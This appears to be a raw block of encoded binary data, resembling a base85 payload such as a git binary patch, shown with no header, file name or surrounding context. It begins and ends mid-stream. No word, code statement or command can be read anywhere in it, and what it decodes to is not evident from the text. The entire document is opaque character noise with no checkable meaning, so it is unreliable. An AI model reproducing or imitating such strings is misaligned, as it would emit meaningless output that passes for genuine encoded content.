zhIYfjRFI2A!j^M@T!bH+D`L?^IgVFV`p|4NK4;5zC#Mab4x&xEhf_zeA{4JC)+FZg zi|33Uea`4+dTdr!qTLuQ$hpL73w8^mieXk}vM9I7T_6mgQ0|c>I;N6OHYGgq8B>mX zfTuVMVtrN&3AFe<=}whAB$1X%I`jZj7ci7A8b8vbH!2^n;u~3fFCl6cPN;u{&Bp+Q(!y$+W1uPg#A|>MsRElo)}VIqBz9*nE^=R z5DiTHZM~)*C6hIsNsYPs9Rzw16NCnAAE*1 zX|MFTfr7x%YyX0-Wp&?TVh|@MN*iFKqQ6{t*cz=Yp5;%!E7b49TKG3j$+)q4fy*fFJ5 z{Kg9~{M->i$G8iTmrA6G->ewUV}{>{Dcch5miKUZqDTHRdZQwm4~hqlSb3TB{F|SB z_U0R3e8DO+oJW)o@b@;hj+Nr?I*jMssqxwSy}iL4TY=K^r}vay?CSUa#I88?hCAz3 zb~|Pl)zBy@<@o0Jm6M+wZV_N^KCGO4ppxSV=h?jl9FZM1kOe)shBB6lI}5CGBi4GH zYnn2kh}v5L1UMMB>3AI&uuc zh87ir`V|NZG)Z3Ne18AM0yi2CG#dR#`JB-7WFrS8sPw!kaH2_BUx`YycYearQ~YWx zhiTv&#}kk_dSWC5RBndR4iK5V#S&hE_fQr^G&p5APxxsKqYWYP5zPq$Yx z80nooJ)eBi(<5C#G=lc+m_sn!-N&-~l#|Mr)^AXC>PR)Ts1`*-{^X$>1&+=?8 z*C}yhxXkcee{7j?XVI>q7<9qtP+es1s@`l8nI|7gXzer+#OE-}O#e$i=+R~7)fbe% zyG?Yt&WYR#<_N|~ph1Eq(=6497&P(rs-7iOoew2^=)H0yE9)xnx%)`>h2Q0FB~+cf z=UY|>#rOI?jcZ^jU;4=rD-+scz^^fX7pO`|uVv3?X*b}}%&=PDye1dHK zk5oQ^|1efN4^)V;>gyS0D@4RPp)m{Fp*`j94A-deD+IH&gKXh;@kDxFzaMcer*lJR+#9DNlZWOo1$*&QR{O)?w9AemfTF1IE-B<(d>8L~gECL<(he;l-@ z^U-lWDUYHo9v_!n3aya2DJG8OxeINckI0(SAgJ_m`Q(l(lwM^wyOgyA4;K`SEG<3v z@s*z`|3Tz+{U+v!&(ND84n5l&n4nphS&cbxFA$S)GSzM`uXHBrEfjzGR5{Tr>>>BV zzq7w!&~>`-4DByye0&DZLX9dm&^wTskGNc;iiAjrG&wIG#~`4p?J_-Rb*0I`4y2Hg zKh~8W*<~&|1c|Qtq|X^kDm;06aKFu}tHJ(kEmp9-4_HVM_OZ;Yjw#QCtIOW~v1gPx z^VzQPQ>h^yHM5iHnGkOHFHQ)G+5Lc1+-e`!>YS(!fU8 z>xu9YB#N5jt-70lI%_;NM61CY&k4!mtRR{~i?eB^yICS@S6Y?pl@ACKTb8e5a(w|# zFdU!XFh*d>#$0cN@5sVY!%4o5%PXPsMzPnzyQMwkM+C}Bl&ml+_JN9uKzw|41>4kr zQ`Ja3+YI|4WZ&^R=tdsaF!9`=$X+$z@}9w7F_~r!M`W_uRr0U-U?E>B2HTMO&1W=kEeqv$q}R#@3;dDy&smB8n6&tzxHz|uSZr|Dl8O%gKr|7) zE$O^7&0`qU{V*C2%jS$bjJnezDq&~r=K%(EZedzLx^ZbG~AcRFsI9mQGL@+92$+^1KqqQkmZ z1rq}12@^#Y#~vQm(Bc0WWVS5Qzy~ zu8M5001W5RckD<{mRNFXMPl+eTg~q`;Yjz#m*2f$!QIQxy1OdQu`a)6+_b3|O_*@e zRJnQd{MtHiZVs3>E+;!zjvt+t(Y>*47y3J4(*=w(hJz6y9K0ei0GHgOA%WFPe3>!9 z9<}M2o%fB64g8v=@$pXQoW(;d;tWCk8WDW5Z*L$`rp!cX> z6J3*0obQc(uAft{)pOF3*oA6T6}H2UK`zF`VxyPMTUKActbP)6YJKcOU(1~O(t|0fk?_(Ms9V(FUtCwW*x#_IPDwHf&nm0cBL?;2 zQF-)(I)6$+A?&-S=pfS~&`X5BXfNjSgITQ6t3nRNSnelQWmX7O}sQ|Z`yl9Ss=KYtoe(2;-{T~eamNM&_u{WSySavQK-UiMf?aT6EOZZjY`Y3ZsXotvKLow@UR z2<70LZ&+p%j(JMF3Wv)3=uH_~KBIVFv>8DFM6c=aYz~<`bGGh;KpMFicv5vEx-#^R z(ZM*y%>OjIMdNcU6w4y*e(gqPlu+P4(RBkm<+JnzQTnu6Z*@ z74vJ%93}mwtttk=1=+>pP};Mq4PR}8gT(Ct@dlS$^neZGXI+aD$AFzrqdUz!eXpuW ziK7eiVr!u&mKK>FdK{DCX7h$pK0*#vyHDPxMg`U1aPpKXUgW#uOnQXxr(?$r*6M=b z(uz5Xw`FX6USY&2b=P09)(o7~cvShI{etNqyE8P~^UfvGtQC)*rOFuB3p`gxI-5+t zS(>OMD(ct6DhBCKLfVZ&mZS>ex-P$eUJT8^_6w35L@q^@%eKa)OB-Wwil!Gp`{`JK zZb=Y?XgUlUIbbxMM$yDZy;vR}I>qGenheG;q{1S#HEjBQjcr_VVnu2)lakYSbXgiO_Sjo>HW~hFS+D*1g546edQTL!;}edJ5E6hRnDd z;b)AcxGE|}UWO9oqWj49)Z~|>Wt2IxRTEX4AiaL{)Jw6~A*TmBG6I>6<7h5C8J%%e zajv|?XVzOQ?6Rl-_^k?Cp{W9Mi@X}B`6^hM< z(zZ(elPNHgx{(;#}#M3;k_Fu~}@sEM#-pqQkQ!DTQ|mTAOd!wn(hk0)6yn zthbDK(m;pu1|+A91miSxl$ZKhlj@_jWu&v#r{|7@$sz}i=#$K>K6Xs=-RqO%*L99Q zYm=&Fq?-C5z|muxy~bmzMG z-G@%P|o;XikX&)qeA{sdPE+o$;EwXRnXwh#6XAc+)r#yO;WWGaYI+KJjv+i7S@;?okOv) zV(|AfQ_^+PUpUcY!@4=Wxt}m`INuG5mDUzJTmf}C3y{plbmL-q2+MNZnj8-is0owEHyxn)DxX|6y)0*waXMfey)`_GN( zK)-0YiebND_lCs3=KdH1-_syplGBr`V}!tQs%C}!pwH(c=<`$y4H%1(AA{x)5}-Pm z_?U)m-s!4s3^H0j>69S^WM*Ge)fD0fbOywNOGcoqY&6#nX3vg|4Y!NKbT!9QXbAC$ zfU#3Vh90-q>*k69>q1_&5bH{|fUCIw>CjJxMlx0F9fCw?st&5plc^_AqS;Hj1THCK z$*^UUFH;^v+DSoPTJt-8-K~6`R}{nXvjvLBmj#`TBg)1X_b>UxH>U!LD64(U+Q!DU zW9rv7_U2>`_Wd|7fiB|!KPFMqZaJfR;)e>Fd(e=&6Nd<^ahR&;N-!5JqX~&)JJm$9 zq&u+&)x%rzl+nRk;+uY*!7DtZ{NWH}1#8`Pf-)wqzGz<&8&w zsQm7bIfkL2CYr~hl&oMe9#)G_Y`)5_`Jb_vrt$A>U}Cl>l6q5 zBN-hNhdVuXhb0s4XokB98}Fs@;jhTVcX4)A6C2=S;aY~oj~#N&ycXp@%D$1~?it^B zO+$quJz(=a0Q;?RDLI#&BGmzNAb9zE%A%vQJSGwPOkKKIxB>-Qub6idz z8jM3NH#3yWPmPKWzG;E>@8cX(o>1c}ht`KTMEM-;H?2FA@1UiP4*WYK$r~Tue&Vva zYEup7<+G})W>rif-wg!b zZT6%Wk1WbfN+?Q+vnOQXLsnaS=i-yevzNp$x|8eEv-3MTr(ZiA|2jL0q>CVbrESH< zZKaUFjNt73(_=&@J68PQ{H@EqqjFP{lKwAkZvr1>asQ9+JkK7vlg*t#LXsufB_t4X za)eU|$gLtGA|gfv1OzJ(6;Tc=A_9W0XvI?Kp(tV%)K*(5YKGxM3xeD3+oOj2=9YIc5Fy5C=t>dq>f*0;~#fpcc$ z<<6KhaB!c#(~7d(sU?1YdRl&VYEE%dN=jPcfWYj{+kQ5;Tc_ym*7fPhJ;3ka`odJq zCE3t_<#UNhXf!`~)MVlgC@6#2K$~S)M{E+-INg0*O(_W{x8%oG_R zh^>6;c{XJ#f2T)ja(ZrdZW6AANlMI;?->6w{%1lTX^u%=t*P$2^egtr^+WaK%+=|I zX{oxeC_Ov7u)cP1TJ=lD!Q1B#4i=}T_>&Whva=KMD`(8mbM=Xv+g2NH>m@CrC@qJ- zlwS1``_VHcgO!!0LYjF(OlU0AJLmJ3wb9jkgmp<{yymQ7_cqWOva zPqYVr?OV$RR!_RWp6DToRBo(Trdi;%LHcs;~u*pdUdC|?y`Y{ z`d8%VmDk{JWqyh2AP;9rrfb}9LP>M)Ky!)wBjvy6LhoSL4XzC&d$HD3hXH{kAc2HH zY9irdF8~=06)`?~g6m+2?C79-&=OtBEDAt}95a$8<@OS|ZCvd+On*WVR`^g;MS1mK z+%&p~jcExK73K9y^Q7kfU`*84)`=5zuRoZQmYP)VPS8CbJwdx<#Dd34vlDY$LUlQL zLwaQ4Q?RDEY*aafkyM-TZgy_CZGS>t^T*di;TlzA)|8cMx3{*gsJVoVxpq;}nBo+l zFQqIcEw`|8TJacGldi_ExiwElQDRzNi~NDe_*%!kW_zr12yjj(rUO>vQ0*lZoM61V!&noQ!5=HnE1)Yo6SZ?nrnQxVeaV4`u-JtNAh(FzJ}!fCFEABtA`7#lXmLymuixhO8JVZC_y+sz>2={5^F|^!*zPe zd5_E$0VFnC%Y(M>*^t#r*7hC3Wx%fF)`lx;gvCuc8c0P&W=6|Y;s=T=Y3{GNF7CzS zN>Ln967^l@DV$=Wgr>4`zLiBOmx-w+?dFROb3;k8>9cBUXVuox?>hE3+m}PX+I7i{ z0i}gK{Fj&J_sdO6K7Z!LKfM?~GtW;>ig|YNOnNr+Vmxzdcl+8|*XA$&Iw}yTP4!{9 z`L0hA5@dXQa6-a0-9EATvsih^GxainZ=h5GD>7T&+gv0kawXABqQhFU&Gxw4MX)lE zAIi>F{EukoHSuB!2NxMH7+d#?#oBX+Rux_8OQ?MCQV|z<{f*aO?{3-Q_1E9PoXS{; z@WZp}JU;l;v@Js!7R~|So4=b!Alcel=1%P&3T4ND-&)cmrVJY=HZQ5jY-vr11AE_8 zej)|7pp6T@I1X{;Szgx!J;^+B?#Co zzWSL&Glk&hQ+LL$AYA|YB1C2q__;t}+!8t$$b}m{Gj#XY+7oBIq}%iyt;PExbQ@Mu zqt~2*kgYbVCBGjoGhGc&OF^tT(9)+*OQ4K?9~eJw?3$4y*Nh#vW@ORyb6%`ztgkbU z7xwaaGU^wN8o9W>e(}gri|UiB#;>0+Vf}dgW^)J5AA0RGfw9!FSkHw_p%pt~4v0Y7 z(Q9K2JDNPmgNE__%S)j3sFOG``p^$8~RDN=b|l<7sekTpu`$J%Br#`vkKe_J8`)vZ!Ql!yd;xyZqLF{qgvU3koi1o^$!AP&ttEs(VlOu;9;r%|`EDwkm(*{2e>4 zYRM=Fl=Qja(#wAKv&$~MpifDlAfx4~9XsZa%YFK`y9%oXI;sordfYI+G=76IlP&nQ z??KRMGG*g2Gx<7tuL&+Gl$otfC73sNz{;1uyZQ=8zC61!rDqW(^B3^k{f?+y`JZlH zX6DM%{*p;!HOlL6r4&|z2S9BEJgLOj&J4gTJMV&_tSrdZ;JBdr(brpP=FCu~^jOU? zaxK@A?ZUVZ#lp*U~1bK#4C1%BvHbgv!VX;)XnJ3(7^Z zCAOdtrD78VJN+f|8Q*+q{QLfb{Aaf|WdE8qO*)dvrK^Ga%J!-rE_R;;h= zKXm!6GugTi-)Fb|G?0>V)VRuc3mbOkv5I%zX2Caiykoq_>a?26er9xqmoLJ$Yk_CT z=kp;mNEpVE3}Q<`liK=KAFNXv%$il=e9An2R4WVhJtwWNe=%Z5+6~5J8(UNAapBb& zNo8|d>WT+X8gyCPtV_{9Y&t9t(tceHCp#jS1zSvdN11V+I!EerDbDc?ICF!*vHB7A zRObsd1qC%ddhp*Yv`WFHt%z)FUzJc8+&X2-)=87-cd!tfI5%t8cF^tKbLzzJFq7%x z#xY!QUs69{oTxl$(l~f7BzJiJ?^-&C$d(Tai6M4jo%c3VibI81uc%w>`|<*zn8_W5cuY?%SBgB)P*>(H5P1+?Qhy z3(;gVLioR&D-mIIQNqqvMS0@ZmGAC;oim!0d$!Xa5$-;2#)~s@}b;n9c$mysmIr zCG)bi7z1!?tTs9-%cf6VE3hBhw07abH+SrKvlU{RLb-yMJ?R)n6^~7GOF`~?9Ksah zrHvOQtn_|d1#^tkVD$w#S+`@>KQz8zSs(kfj~=&)APA@8VW~*V-(I2XnOQ_Fn|A5z z{n>XD0SK1P%DVqeyYwN!)VEKfapj`<*S2`Q8j!!8Hg=e_OZ!H6hL7gldRI?dNI1}O zg{WTg>>fp!tb}GtEqF;E17r=9F>=L$f$RCEs5lH%`KAqX%Eq?@-)CFmqSUk6wyE&)=6 zUJ=%TQZ(D0FaCb9Qgv6w7>3ow)RfbwgC~9C?v^La^$ujewYQO+w2$P)lP*b zTL!tLE8l+s%SCjWn1>WXQxr5qD8}YARk$Tn2ec4NPj~%~w|&&yZ-X-<_P& zX9-Ll2xmQW(TblL??N8`dN=SO_>IerWUL0^JBOb#LjnvUtyJ!@#eTt3hmx=_8nVCt z3)UO<*=o0^{mfwjJ+UX9RV!(sCXdXZKcAp&wkQ6~)>^BV=7{enPZAt6a!{dh(Ub#s^WDH)*|*MQL-oqaeodiB zvNo(o&kR59;HjzZT6)|5wVP@MM4KpZ!+k8zUcf|q92}-LMU`T9?%;NT2F`*0(grqL zA%ImO7G&SJbNPK8*m3Nh*ebeeZH>HX+p}ZTm-hX1uQnG%#QW#_NazHH9DfFso|4oM z!v(Cqt|W`Be#bVappGL+M*QBU6hC5vZ(xga>zl+Lnhc+Jd7lqQZSoYaGX5UnQr4>V`K7=Gxcdb7+}zKiR<|)1WDYt74wPQh9AS5Ty{4Vy zT8?k!>FBVF9_%YIjf`-Z&EDfFwrMlF_*uI)Brw+o(*j~j@EXTcGM_2CkKyFCc;=wx zXFQelV+WT#`Iy^b89M!p$R);^gQlZ#wB7h1+Dhbh7vKMhB^g#qF=4U2#$U=)Q~8b? zZ3f5#8}~sE*l2^D=vDNs^8kHgRi5k)oC&?VqjM^@?$bdLoF=$G1=%0hA`gND`Dq3@ z5)VzF85fr4Nd&n+iEoo1->~O7q0WhipI*BRiXETgS>-?cp-|$jLQ7A);{})?@{7_3 zv`;$KMLb0ILPLg5i?*5{Obelo6>f4v5mrKAgN_`m9Hm+Z> z{MKiB1p>vt(mxM}f4dnb)PG(*@?UO3k+DQdp22)#u8t0v%#EhslnrSQWOhLSu>jM_ znld8B2ilCaQ>T|z8Xd-JNGTS4o2_MD*iyfMliNx*)WU^pH-#YL?N&kE9E^?ok_n43 z*72?xnBiDYj{E3&40a+#rlIYifBEIK-D|!eVDpxnK0mlSkNwbQv=kK#EH6r(#wL80 zlsIlu+sv6uYD+Txm2p*`-)}s#$hf9jzdO01fB)gtl^K5hZTm2ia>g_c`a{?2TC>|* zv32q-Kfi8T#fmB3#N2oqPwP6Sf0X!SX+rt%xh*&pKG7@Wg7oikB3&GRSLnSsjw8sF z>p(%6a^Eiq)%}TWutbdU3HFEc*RSP9Rn0$kK8-EF7f(t{y@O@xr|iR%c4Vw)i4cxd zjMx`UIx{;p4N8gy1%Gk>opQKi{daQlXijh-t;qP40bg;}G0igO9J-6*aax6KC?nfO zj%==+zvi|d6kIrSCJr2ZXlCo0f3016YR!m#<7-Rnt~%^=)~WvWCAq$SiK*4R_RNPa zSxzUQE?>TQQhj;jv`cVei{v+cUQ>yy4qGq59AZnjmYV`%cU3>@au%#Y7N#;g_F;b%bGS86B&&=ce9=G8fr0$_oG%xQz7 zqoxBYLklng**Ol!ILZ@FIGm(_Zfg}}VmYR)ncZTnGTPghR2Hzm+r8xuhksl@pw2qr zLYPjb&pMCCA+FlgFi7ya`*qj?MXnOUGe;s8(70LPh(DCF0><>EVWFhRspIM{vQb-M zjQ6y4eS{L)QH*m*L={$rQ`bJyu8nL)!_rr8bHV$x*0;!jCfVue2!h^P@PeB`kwYx3 zI!J(9*zQ6ZrRtrUR#I9{>r))0ORC4L9%DXA#iJ_}LTBO8XlqA$1qAbh+4+616g~j_h&O-T7z*?zIXbd6 zJq>u^I)dAfN#c|*%#aZ7x??VdIV-~16#pgOuo+mGdozq3vx)zv(yFS`o7AM@j1x0l z9hqUw5)-3NGnrM8nVEm-Z}*GR{o$JcBeyB^8KCW;BR)hH9WB(u=OUboj1aZA%{103 zhBR09VLkHuBqj~?RNcFH(VaDFpLAE%phW}vl`u{3)hED`CSn8R#0@X~g6MfcrY*okd0gw{6L~hi%JlI(0k$&emOh zHADJjQ(ew97GgJflCy=xLxGXMNIMbf?LKIkx?SgK7qJWII~|%4YO3r1MkJs=mYG#l zOxAE+|4v$s=D2dN23@z{i>24?^F^+PoN;i`O$hUP6O5m0&xMM3wASXg zh#>E<>efJrg1m{IVa5H}t6R5>;~`$Rw_T3G^GD!5fG>8tG&>V(C{fEN&>+z^sv~{? z!|5YsrbaR!Ha@U>(yXDA_lNl7Yv^w<%{5Qy>oL!cfn4g`Ko=}jHlhkuW<0y8H5?+cGv=-y$`+KGIX{gW7%FXEM z)zZ=nQ!DcNWhT3aPM*zl-2H6+GVp zKF1>B%?cd0`t0Bn3vnIH&$y{~jTG^h3slsW{+k8C{1n@?mGKtcvb)X- zzxOciXce*eSEo*8L+g4~@VGnTJ-td-PQLEC$tz2HsqlKRxQ-2-I#t)77j>T3BhT7e zVozH!`ia@u?CJAoH%zRno7gaW*O2B9dk-3CM)e0|ryzX^sZ1%^1I$?exIw)?Y#yTN zZEL2inlx$Elr?R-ajv69MXxvuYc26|x$rCLfD>4KLw@3O5rJ$RnW+OZtO{)tU#Lr`h6i_p}}2a!A@F6wl#arX^fRX43&g@dO}_m()($#j`ke z$QFYX@m*y%G-sCdXxhcsIuHjD}iPmQ21-QC6itf1fzZ*!ay2{Pg1b zD}IudJ)|);xjeT>5L;1hd2(vwknF6VT*2y%qi?)?gYlcif56B2`||yjYIQ-_Fy0m5 zW8B6W$H$c;vLl#|oobS2I-5hXNe(fH)$nFZHAB(9$xAUNxjg48ja`ZJ4Zdu_g3F-T zI{w|wk{p}xtMs(oJX(i4aKcD4mPD<~AtET3s%Whf$p+tPm5#Y{ax_7HeCaN7+PPRK ze5V$SyC6!pmRR~4|I(y5-t4t2_> zrd@Iw&hh-+=$4d3zbCD_%6O!#G$YZST+9~FoP#qhUmQ6mIU&=VR#n9=luxuQ%EW*> zeU)u~h3#@J*C!O==1HmCcqVHfNBk-i216}{844UU)Y3@sh4reOvYBj>%~L9~-(@); z(j5KrhLpP=WIb6v8?kE>txS(GeuV$W=;t=feQDV>FTb#0>F==`a^F85+xO+UFF*03 zIFPi}0!_*s{V5Jp4KU9I3k(sC>-Z5qkeTpC2{i44Yzr{s8ykyko-)pR!!OCC`jF)q zU+Qa@E_i{gqqz-T`|O-?_?Jh{CG$yTLBztuXC5R0kq37tR>>2cDBKZDEZGJV^TmgW z)^gd`OXt5RVA3zJ!}Pl+1WeZCaX*O1p&=h}o?leRS;!8E3;;s0GPpw|Lb{Fh=<~vR zt@!hgmQQVI-QN&CuejHuajh*==dJE8y7OG?5=S(;i4A~2!HK2_pVu0PLUM*x5`v^b z(3*Azad#f)8{nFRdFJboKpb!@66J!No5aLQP6I7q>j)SR))l0WSdJtu5NN1V`Tl`2 zTBoVF@9Qp7d5Nwgo=T66BaGMWLmKJjyJSHtg4gsK~V6Lz169S z{d~D}O-I|vb|c$(8{=cN|Htct?nlmt%^owe#2R9v)n)=3D{q2iVS0g*<~%RVMmCgH zmgzTAjr;ti{|>UFO2wOrUmiR0$Q&}(`PQKFY5MyF8}d_(4pk`iA6eJk7zMZy zfS*fg>BD!92_?vyyR!q-;*w1zZc^-acHMvG42zuFzhW=S9c+{UxzCZgNbYxGw}1aal3K5 zr>$c{*zN7?Fx&8cW45tP>&e^LivA{|KMzi8cV*Qf>ot(&XIsPWiq7}KVSTHoE%Kv% zk^9}RcK$_611!8gZwHzVu<&+b$^+Uqh7cG%*K^rn_1x2j{`q^MyXcPL*mBoO_CtF) z@G!>2gVi@q3$gW0nGC=g+JjN#O-=I#hG*}eJ^P{&m3@cLm_2*{rLt5%%$_pF54^Ie z>B@oh>9WTz?O!@@U}^tLAG^$af;nYdwaMJ~2!MjfIsunxC-E2a#ah_Q?t3vG8u1AZ z67`g_I{nZe|ES&AwV%z{rCo~MyT1$TSU6`|slGvf7Ik%sedXah>vf~?vHoXv|8!$s z^m9nv5yrCiDmt69TS>hW& zrE!S&F?W}HP9$zSgfeY7ZWY~$HrIJC_dQLc8{s-cBcrk5n0og_cOmlId!a{_pCdi@ z==%V*lcInAJ2-&D-wjqXo6JKWxW9slyQU5g2yZt^X?5Bd8djed?+ z>Y|th$sFJ=@jyT{3*~#BEpXi%$;nU%bt$>UK{Lw)i`SW@j15TX||d8LfeCz z(FPGOhwcIg9!5WmJrj@3FSyOU&JULYTWs)=M;*1{;qa)j5cT1Kkot6Lvi_9u zs~#vYK4!h32Jo7zgP%XrhSPY_h7zKd%D@#mpRC1N{J++Qg*d}1?X~OvxpwV8*Xf(P zt`%YoTa!5Nb|6^&3FjLsu=s|Td)5NKn@n8tGLB18SMd#m6VD4Gcxv6^94N@A+D6K? zqZf;_q-?-uzbYcsCK0=u?#k zyqnG}q&Eabi)X+~8^_@evwh-IQFgDh%=?Yv74H_+Hq}LWz`LcJwk;cKJLx@%17SmL zx1b?7MO(nZPRF=tyn^o@6y=J)P>yr2G5-%b;RNj_dv`j@TKHW3M7$qkBkgwdC&o`} zb!3IMi@(r}$)W9(_i+d$1pEIm*K?D}!^>6+J; zEWv^t-KmXh&%!tUb=9iB-iYSq{7}xLIX~Ww8c8<(3}d7<{eX9~z_0BY=_q;+H1hyv zRXjm^R{1?vIl&A*qIJ|F;sF~&i%k?*`&O$3+R6Ec=7%XChX1s;ehi{vHIoaVz zs9j$73DJh@ZEnkhUieu{g6}l%BPgJ`gDfIG!u&i!^I++bsQUY2>hFuKZ}Ohzeav2; z%Ds;{>r2_I;MuS0EBWBvA6?($v9>ng01dC6iwMOdGeMi z+Q!HV^8v(+vu*H$U=2>Mq`b%lk_&3MPQiN9?8aSabwrJeZtz&q1M#w?2a{ikPDDAM zcdH!u5&X^PD^5AbvnaRmH|gyt{ti%boQhhs^%b)Xi(lUqZFIx0uPFL8`SleiJx1~C zt1P7rxq@#m zY(ei|oO6Y8x@%L_|65G`zs1(K(ZZ+p`kdB2jjeBM|1*1iPHUgV)Niu2|GB+BZ~ya{ z`gZvLZm-YV|9fnGTl-(g`adK5@b+-4zqjHlCm5e63pspeDdcoe4X)lnAtlxfVNu?m_f>N#+0$W@w63tA0*H4 ze)_VFf5#?!Nq-yQg$Rf4v%_|og#X;nf$ApS6tm#X_OLP z5sUfSldb2HPDfTVX;~a4W6wr{i&jcX&65rN;;;xKqqXNy#){(^kfe8c+vIckG|oGS zz2mQ=&n&{4&5p;uH{QPhh3sGLxyWdnY03>>_Cq{~v6H#&C;DtM`-FTD<-~t_iI(is zJSX(rLmWQNlT_Eu;oGLcz9hJv<&Y1EXsUAF24Yk(Z6K0H{-}(>^PFJB@4)Y`qZ|)~ zPpHZRK9}jYk#9)tbN|8ij!(SsNPUZRvyJ8D|(9+MeNl1^l_r`*ZIdWTBgJ zSZBW`7l8tZ^5j8m;Adwv zQsf*mNsBBhbKW@}L%MJu>lMP6pc6<1v>i>ybb_msdeIi!YLPA4wrI*jG$`7RrPmzL zTFD^`4yv2S;c(RDZSe9q^qLi?jY3Bo(X^Lkrz1{#Suu1J{Z3BIJ2~;+vC(U;{T)uP zx$)nz@kO5f9S&Pw{C8~qoBlpizK8G3&{Y@+MH%c=N+jdr-(GT=vYfY!ha3e-&v-*wx=2R&_Djc>N# zlHTXj&z;GpJ`EW_@4Z7dpAS3SiH|5A6x|-SG5XLRKV05@-NA=8+!dZmt$NxJ4V-yy zdSs-2K7|Bjd-sxUCfnPlU&QS=2_IyAf72GEGEsK`@7q?_!(&uFUJl-YwwG;VjA*0U zY-0?KoA*cioFVI7A1hnX{SNRUZ988zBoFwNL8}N`&{rL8>p1H7kE!23rhcboOZjT- z^{L!f6I0&~&j5RUg3~u3roO%XT6=xoer-&Bd;9hF`n>)6*!nj38$^BA$All=enV`1 zv=d_s`lu(SWoi}r5nRodjxStI`QX)1GISBs>#-s_IXtl8qS;zS>p(1gVx{xl zy9}>lPS&z#+_OAWU3%bhhE27YsOa`!YBiy~AXhnB=Io0a28Jgg;*Rz%d#ry?zCq9=xL64qgeqTT15r?&d8{>;UNwj zrW8`@mM58WBw*FqC(K%CPl~~4zq57n3dhdmrg=RQy(wmYngb3S(rPm@Ou#W0r(K`w zpL?f)f5BONEq*I2LcGqeJ>>cnBFBYwoD<$@uwf<`kX48SZ=-W)xGu!ksAt>h9z^ks z;y1SUbng>nPt*M4U-Yv##WU!0uFpVsLChtO<3z8*WB6hz#tfgbr&^zF9d_-oq1O%z zD0*kuAfQ4I8#>I2&lR&--<2>#yf&%TO1UjF;IUR6tkueksO7p&iUT zX$CX$Wpmqk)Yg5+v#nv#mFN~<2#D5aujKtw>!P2?7SS(3AYjp!QNPOGhT2&5r&+JgPsG z2SU7l-2UjjsQw_k)LM$7cSs-GA_0zC5g}JD)1;)*uNFS^O*fS`my|S@c8tAsEPigf zsbpvge)P|=>Vg_!JVFJ>7l4317ej|$@`@t>bmcBLi*g=MbGxxu@1DhmCMIFJFu{uHkLWGi`(^RL1LKq|}D%3r=g8 zD?V;+BWRj$9-hiE!baEzolGS}3s}Yltw+}<=xy~OGx>O&^#$#bn(@)DBC|e+he~Yi zi}4Ga1@)y5%EyW|LbT6uV6~6>z>Qh|YS}*FhOZI&sKnVmaAVddY;bs}K5w7n$I(9U zX4YRK>jR&%eJY7wD%r(nU(%K{jJe-a~8h$z&@B_)lFTR?TLx_m3G{j4j95`$qXOwu~)1 zrtdV$*)o{G@1txBqm@MDb%96Qa7jBnvl3Dtw$v_|{5%1dt>dzs#J9F5@^1)d{IEgB z%R+#&LE$|lupMpDYUfa%=;PE;`e{^+{9D^&sv&&e6SmqiUPghSFMFnGrvcODxxQPR&v-cD*0BNb&M+W;L%Vggp$PgxfVTH_V3^A?Xa2UkrHmDtKHf zrmd3kMRE|w5M}1WlV=U?cWn4M*(@h%R9i`*Cvpwal1IBgvmt0*xTk`EP`PM4?vEma|4{*W~rrUz-u~6)1w-Kg!-4S@$G}_r| z$uYz?DfK3qIuft!lv=^Inxv{dDAKXIuGKe-bSz_>OLM{$b)I!ymesdN>JZ+GomAZ! zf{FR>R+0M^766%D*E?Za#hwuW5GVqu$Xs(U3ZI-#ek|xf`T`uMynL5cjxkU^5%Puv zUZdw9vEG>Uu)a)gQ4xkHn{OKfn;n}s)|Rct;>otrc|~hXGFgo^D*zE=;jnR-_jC_) zw4dB)qlEeM?Q@jYK+}9&27wejKGf?0mt~D9A){&xR1`1O7SY=)# za@4p_D6%Gr24Qb}LV0w)y(a%EI?KUc%5Jg_DLXoT<{>+6q{PcUj35C~(FrW4WZ$Ev z3~AN6U^m@@^IcP2%`CsJ4%T9-uCr`>g50y^WcDR(uauhI7R1JJ$*uO%s9eofu}~2f z0hsuio5nCv3HI$UQ4cPr15f)+xFw!2mM7xi4zQMrt6xCINUt-AJAU3Buqg?dh+2`i z@g?>qemQvYVEoXh%MV_D`N4ziyr-UKQ<2(fe6y8EJM3O969~fBy|V&0OaN`LcLjWW z4HPHp$&iRG$fnkc{Mc-umzax$GHs5s+E~RxV`*&S9G-N2!k@+T!?pP`9N{iyx1L&9ZJkL9Dg<&5-E@B=ISaU;VTpm3o z>)yxxNUQFXaq2!J>arhW(y@k&d@bZ%&{{R94$F8_m2oHE#;|^05J^hrYFcZnxtMl% zAr9tiv*&7=3vlcydPw7<-!gCFOO-bvVp_hzh}~^5$_Xm(qg)CREsFROax2Ye`<%~U zM_bPxvz}4B2IH}w?RPvo>Ui&Q$1~@9Ry>f$njG&vX}*U91Fo;AzuWm3UJ%bfn;#>0 zs1vqyDP(DohiXm3*=7nzVr3H+YT1>cIg(~C zMN8N76S0_2D_`YI<0M*~6ROm*7ix2@US(<+9xiykJ~t)u4|4S}FLF$v!3ob{j*XmbGi6wXtziunHxBsTS+*bb&RBrOO zI2&2Aw=H?1A?gs4s1<#EeO5V{)#1U5hCn!fEM)YMMT5hnlgqR4!&Yj0gyB7RE*_vF zE5a}FF%S@s@SElh*G}_TE>Z2&-Ix?TK*B4RXKP*1-cG|t>IEl*J9tv$d!if2$+-tE7iv)IHh=^fE6g2W z-8~%zNM^YFz+6$SYlMDCNM5{;ngTL>=5uYq=+0S`eYV8ob^zDqEX+=mS0d40Y=S-fMG9hdS#6L~=HiI5kNmar$! zl4V4;MYowood?{7ou9_fH`0C&@c~dNTJN6N`Kh}w zex8xGgSv|Di)UEIWUMHqV2+EjOoU9bI+Npyo7AMujx(-IL5MLdBsM{)aXCy7N~3~A zl;b)XFJ()s5#thhK+v;%zMyrKj3-*NjDGG1Q(xU?1F_j%SLi$A=LBI>B5){kXxxwE zlqJXw84@tBKQ4temZQxO_!9D*eQvzB5Ia^kib6`!!4J3PxP9IZeVom6Vg8KvVPml} zuG`v;r858P&sHuBmGQbCiMo8JC14VD38wNK7G!E`30G@8H_nsItw1ARbT45E+e|~L zj;y|UKcCq9!6_7Dc)k@MyKr%>E=tieuErJFPGCm-;8urY3lH-oDB@jF7^X5b3tYa9 zv3szVKCx&>9OJ(2e@6O0BhYgj-v~a2K8LI^JY{k0$~TQobqH zSnyIS&Q7IO7T68EUv8^@s>a7{)wdD5_i(%RQzai`SCIrzkqk>XM{0#T5TGH0`!OE2%w6!g%>ixHSrcS-*yz}^PSjKxw@`tQE zaXp?l=apz%%txpIkfknp5jI0MzBpoA=nZg 